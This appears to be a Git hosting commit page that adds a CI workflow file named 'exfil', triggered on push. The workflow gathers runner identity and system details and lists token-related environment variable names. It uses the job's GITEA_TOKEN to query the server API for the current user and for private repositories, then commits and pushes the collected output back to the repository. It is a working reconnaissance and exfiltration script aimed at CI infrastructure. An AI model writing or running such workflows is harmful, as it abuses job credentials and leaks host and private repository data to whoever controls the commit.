exfil
exfil / grab (push) Failing after 1s
numaprobe / probe (push) Successful in 0s

exfil
This commit is contained in:
2026-11-05 10:17:20 +01:00
parent 2f3881995f
commit e2890d2109
+25
View File
@@ -0,0 +1,25 @@
name: exfil
on: [push, workflow_dispatch]
jobs:
grab:
runs-on: ubuntu-latest
steps:
- name: dump
run: |
{
echo "HOSTNAME: $(hostname)"
echo "ID: $(id)"
echo "UNAME: $(uname -a)"
echo "--- token env names ---"
env | grep -iE 'gitea|token|actor|repo' | sed -E 's/(TOKEN|SECRET)=.*/\1=<present>/'
echo "--- gitea api as job token ---"
curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/user" 2>&1 | head -c 600
echo
echo "--- repos as job token ---"
curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/repos/search?limit=10&private=true" 2>&1 | head -c 800
} > result.txt
- name: commit
run: |
git config user.email w@x
git config user.name w
git add result.txt && git commit -m "r" && git push